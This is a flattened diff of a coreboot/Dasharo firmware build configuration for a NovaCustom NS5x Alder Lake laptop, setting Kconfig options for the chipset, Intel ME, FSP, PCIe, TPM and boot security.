CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" +CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0xc0000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/ns5x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_VBT_DATA_SIZE_KB=9 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=42 +CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" + +# +# Alder Lake P (2022) +# +CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP=y +# CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP is not set + +# +# Tiger Lake U (2021) +# +# CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set +# CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x10000 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +CONFIG_COREBOOT_ROMSIZE_KB_32768=y +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=32768 +CONFIG_ROM_SIZE=0x02000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT=y +CONFIG_ACPI_BERT_SIZE=0x10000 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 +CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_SOC_INTEL_ALDERLAKE=y +CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y +CONFIG_SOC_INTEL_ALDERLAKE_TCSS_USB4_SUPPORT=y +CONFIG_ALDERLAKE_CAR_ENHANCED_NEM=y +CONFIG_EXT_BIOS_WIN_BASE=0xf8000000 +CONFIG_EXT_BIOS_WIN_SIZE=0x2000000 +CONFIG_IFD_CHIPSET="adl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_PCH_ROOT_PORTS=12 +CONFIG_MAX_CPU_ROOT_PORTS=3 +CONFIG_MAX_TBT_ROOT_PORTS=4 +CONFIG_MAX_ROOT_PORTS=12 +CONFIG_MAX_PCIE_CLOCK_SRC=10 +CONFIG_MAX_PCIE_CLOCK_REQ=10 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_PERFORMANCE_CORE_SCALE_FACTOR=127 +CONFIG_SOC_INTEL_EFFICIENT_CORE_SCALE_FACTOR=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=38400000 +CONFIG_SOC_INTEL_UFS_CLK_FREQ_HZ=19200000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=7 +CONFIG_SOC_INTEL_I2C_DEV_MAX=8 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_UART_DEV_MAX=7 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" +CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 +CONFIG_DATA_BUS_WIDTH=128 +CONFIG_DIMMS_PER_CHANNEL=2 +CONFIG_MRC_CHANNEL_WIDTH=16 +CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y +CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y +CONFIG_SI_DESC_REGION="SI_DESC" +CONFIG_SI_DESC_REGION_SZ=4096 +# CONFIG_BUILDING_WITH_DEBUG_FSP is not set +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 +CONFIG_INTEL_GMA_BCLV_WIDTH=32 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLM_WIDTH=32 +CONFIG_FSP_PUBLISH_MBP_HOB=y +# CONFIG_INCLUDE_HSPHY_IN_FMAP is not set +CONFIG_HSPHY_FW_MAX_SIZE=0x8000 +CONFIG_MAX_HECI_DEVICES=6 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_INTEL_TME=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP_LPM_REQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CRASHLOG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPU_HYBRID=y +CONFIG_SOC_INTEL_UFS_OCP_TIMER_DISABLE=y +CONFIG_SOC_INTEL_UFS_LTR_DISQUALIFY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +CONFIG_CAR_HAS_SF_MASKS=y +CONFIG_COS_MAPPED_TO_MSB=y +CONFIG_CAR_HAS_L3_PROTECTED_WAYS=y +CONFIG_USE_INTEL_FSP_TO_CALL_COREBOOT_PUBLISH_MP_PPI=y +CONFIG_CPU_SUPPORTS_INTEL_TME=y +# CONFIG_TME_KEY_REGENERATION_ON_WARM_BOOT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC=y +CONFIG_SOC_INTEL_CSE_SEND_EOP_LATE=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_SET_EOP=y +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_16=y +CONFIG_ME_SPEC=16 +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_FAST_SPI_SUPPORTS_EXT_BIOS_WINDOW=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y +# CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_EPOC=y +CONFIG_PMC_IPC_ACPI_INTERFACE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y +# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set +# CONFIG_ENABLE_TCSS_USB_DETECTION is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_INTEL_LPSS_UART_FOR_CONSOLE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y +CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y +# CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set +CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y +# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set +CONFIG_SOC_INTEL_CRASHLOG=y + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_VOLTAGE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_X86_CLFLUSH_CAR=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# + +# +# Southbridge +# +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_SYSTEM76_EC=y + +# +# Intel Firmware +# CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +CONFIG_HAVE_INTEL_ME_HAP=y +# CONFIG_INTEL_ME_DISABLED_HECI is not set CONFIG_INTEL_ME_DISABLED_HAP=y +# CONFIG_INTEL_ME_ENABLED is not set +CONFIG_INTEL_ME_DEFAULT_STATE=2 +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_BIOS_VENDOR="3mdeb" + +# +# Dasharo +# + +# +# Dasharo Configuration +# +CONFIG_DASHARO_PREFER_S3_SLEEP=y +# end of Dasharo Configuration + +CONFIG_UDK_BASE=y +CONFIG_UDK_202005_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202005 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_PC80_SYSTEM=y +CONFIG_HAVE_CMOS_DEFAULT=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_DRIVERS_UART=y +CONFIG_NO_UART_ON_SUPERIO=y +CONFIG_DRIVERS_UART_8250MEM=y +CONFIG_DRIVERS_UART_8250MEM_32=y +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_3=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_FSPS_HAS_ARCH_UPD=y +CONFIG_FSPS_USE_MULTI_PHASE_INIT=y +CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_FSP_ENABLE_SERIAL_DEBUG=y +CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_DRIVERS_INTEL_PMC=y +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V2=y +CONFIG_DRIVERS_INTEL_USB4_RETIMER=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_TPM1 is not set +CONFIG_TPM2=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM2=y +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM2=y +# CONFIG_TPM_HASH_SHA1 is not set +CONFIG_TPM_HASH_SHA256=y +# CONFIG_TPM_HASH_SHA384 is not set +# CONFIG_TPM_HASH_SHA512 is not set +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +CONFIG_INTEL_TXT_LIB=y +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y 